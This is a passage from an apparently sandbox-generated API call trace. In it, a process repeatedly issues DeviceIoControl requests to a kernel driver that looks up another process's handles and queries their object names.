ReturnLength=0xfffff88005233550) returned 0x0 [0093.662] ObfDereferenceObject (Object=0xfffffa8003436c70) returned 0x1 [0093.662] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.662] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.662] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.662] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0093.662] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.662] PsAcquireProcessExitSynchronization () returned 0x0 [0093.662] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.662] ObReferenceObjectByHandle (in: Handle=0x718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003436f20, HandleInformation=0x0) returned 0x0 [0093.662] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.662] PsReleaseProcessExitSynchronization () returned 0x2 [0093.662] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.662] ObQueryNameString (in: Object=0xfffffa8003436f20, ObjectNameInfo=0xfffffa8002126044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002126044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.662] ObfDereferenceObject (Object=0xfffffa8003436f20) returned 0x1 [0093.662] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.662] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.662] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.662] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0093.662] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.662] PsAcquireProcessExitSynchronization () returned 0x0 [0093.662] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.662] ObReferenceObjectByHandle (in: Handle=0x71c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003437510, HandleInformation=0x0) returned 0x0 [0093.662] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.662] PsReleaseProcessExitSynchronization () returned 0x2 [0093.662] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.662] ObQueryNameString (in: Object=0xfffffa8003437510, ObjectNameInfo=0xfffffa800211a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800211a044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.663] ObfDereferenceObject (Object=0xfffffa8003437510) returned 0x1 [0093.663] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.663] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.663] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.663] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0093.663] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.663] PsAcquireProcessExitSynchronization () returned 0x0 [0093.663] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.663] ObReferenceObjectByHandle (in: Handle=0x798, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80037852a0, HandleInformation=0x0) returned 0x0 [0093.663] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.663] PsReleaseProcessExitSynchronization () returned 0x2 [0093.663] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.663] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003ab3044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003ab3044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.663] ObfDereferenceObject (Object=0xfffffa80037852a0) returned 0x1 [0093.663] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.664] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.664] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.664] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.664] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.664] PsAcquireProcessExitSynchronization () returned 0x0 [0093.664] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.664] ObReferenceObjectByHandle (in: Handle=0x7a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800343b9c0, HandleInformation=0x0) returned 0x0 [0093.664] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.664] PsReleaseProcessExitSynchronization () returned 0x2 [0093.664] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.664] ObQueryNameString (in: Object=0xfffffa800343b9c0, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.664] ObfDereferenceObject (Object=0xfffffa800343b9c0) returned 0x1 [0093.664] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.664] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.664] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.664] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0093.664] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.664] PsAcquireProcessExitSynchronization () returned 0x0 [0093.664] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.664] ObReferenceObjectByHandle (in: Handle=0x904, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003447950, HandleInformation=0x0) returned 0x0 [0093.664] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.664] PsReleaseProcessExitSynchronization () returned 0x2 [0093.664] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.664] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.664] ObfDereferenceObject (Object=0xfffffa8003447950) returned 0x12 [0093.664] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.664] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.664] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.664] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0093.664] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.664] PsAcquireProcessExitSynchronization () returned 0x0 [0093.664] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.664] ObReferenceObjectByHandle (in: Handle=0x908, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800344bbc0, HandleInformation=0x0) returned 0x0 [0093.664] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.665] PsReleaseProcessExitSynchronization () returned 0x2 [0093.665] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.665] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.665] ObfDereferenceObject (Object=0xfffffa800344bbc0) returned 0x12 [0093.665] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.665] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.665] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.665] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0093.665] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.665] PsAcquireProcessExitSynchronization () returned 0x0 [0093.665] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.665] ObReferenceObjectByHandle (in: Handle=0x90c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800344b740, HandleInformation=0x0) returned 0x0 [0093.665] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.665] PsReleaseProcessExitSynchronization () returned 0x2 [0093.665] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.665] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.665] ObfDereferenceObject (Object=0xfffffa800344b740) returned 0x12 [0093.665] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.665] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.665] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.665] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0093.665] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.665] PsAcquireProcessExitSynchronization () returned 0x0 [0093.665] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.665] ObReferenceObjectByHandle (in: Handle=0x910, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f80070, HandleInformation=0x0) returned 0x0 [0093.665] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.665] PsReleaseProcessExitSynchronization () returned 0x2 [0093.665] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.665] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.665] ObfDereferenceObject (Object=0xfffffa8002f80070) returned 0xa [0093.665] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.665] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.665] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.666] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0093.666] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.666] PsAcquireProcessExitSynchronization () returned 0x0 [0093.666] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.666] ObReferenceObjectByHandle (in: Handle=0x914, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f80c00, HandleInformation=0x0) returned 0x0 [0093.666] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.666] PsReleaseProcessExitSynchronization () returned 0x2 [0093.666] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.666] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001edd044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001edd044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.666] ObfDereferenceObject (Object=0xfffffa8002f80c00) returned 0xe [0093.666] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.666] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.666] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.666] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0093.666] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.666] PsAcquireProcessExitSynchronization () returned 0x0 [0093.666] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.666] ObReferenceObjectByHandle (in: Handle=0x93c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0016c4d40, HandleInformation=0x0) returned 0x0 [0093.666] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.666] PsReleaseProcessExitSynchronization () returned 0x2 [0093.666] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.666] ObQueryNameString (in: Object=0xfffff8a0016c4d40, ObjectNameInfo=0xfffffa8001ee1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ee1044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.666] ObfDereferenceObject (Object=0xfffff8a0016c4d40) returned 0x4 [0093.666] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.666] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.666] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.666] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.666] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.666] PsAcquireProcessExitSynchronization () returned 0x0 [0093.666] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.666] ObReferenceObjectByHandle (in: Handle=0x9d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002fbc4d0, HandleInformation=0x0) returned 0x0 [0093.666] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.667] PsReleaseProcessExitSynchronization () returned 0x2 [0093.667] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.667] ObQueryNameString (in: Object=0xfffffa8002fbc4d0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.667] ObfDereferenceObject (Object=0xfffffa8002fbc4d0) returned 0x1 [0093.667] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.667] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.667] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.667] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.667] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.667] PsAcquireProcessExitSynchronization () returned 0x0 [0093.667] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.667] ObReferenceObjectByHandle (in: Handle=0x9d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030b3630, HandleInformation=0x0) returned 0x0 [0093.667] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.667] PsReleaseProcessExitSynchronization () returned 0x2 [0093.667] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.667] ObQueryNameString (in: Object=0xfffffa80030b3630, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.667] ObfDereferenceObject (Object=0xfffffa80030b3630) returned 0x1 [0093.667] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.667] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.667] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.667] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.667] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.667] PsAcquireProcessExitSynchronization () returned 0x0 [0093.667] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.667] ObReferenceObjectByHandle (in: Handle=0x9dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031325c0, HandleInformation=0x0) returned 0x0 [0093.667] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.667] PsReleaseProcessExitSynchronization () returned 0x2 [0093.667] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.667] ObQueryNameString (in: Object=0xfffffa80031325c0, ObjectNameInfo=0xfffffa8001fb0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fb0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.667] ObfDereferenceObject (Object=0xfffffa80031325c0) returned 0x1 [0093.667] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.667] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.668] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.668] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0093.668] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.668] PsAcquireProcessExitSynchronization () returned 0x0 [0093.668] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.668] ObReferenceObjectByHandle (in: Handle=0xa28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a004a24140, HandleInformation=0x0) returned 0x0 [0093.668] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.668] PsReleaseProcessExitSynchronization () returned 0x2 [0093.668] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.668] ObQueryNameString (in: Object=0xfffff8a004a24140, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.668] ObfDereferenceObject (Object=0xfffff8a004a24140) returned 0x3 [0093.668] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.668] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.668] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.668] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.668] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.668] PsAcquireProcessExitSynchronization () returned 0x0 [0093.668] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.668] ObReferenceObjectByHandle (in: Handle=0xa44, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80034d7bb0, HandleInformation=0x0) returned 0x0 [0093.668] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.668] PsReleaseProcessExitSynchronization () returned 0x2 [0093.668] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.668] ObQueryNameString (in: Object=0xfffffa80034d7bb0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.668] ObfDereferenceObject (Object=0xfffffa80034d7bb0) returned 0x2 [0093.668] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.668] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.668] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.668] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0093.668] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.668] PsAcquireProcessExitSynchronization () returned 0x0 [0093.668] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, 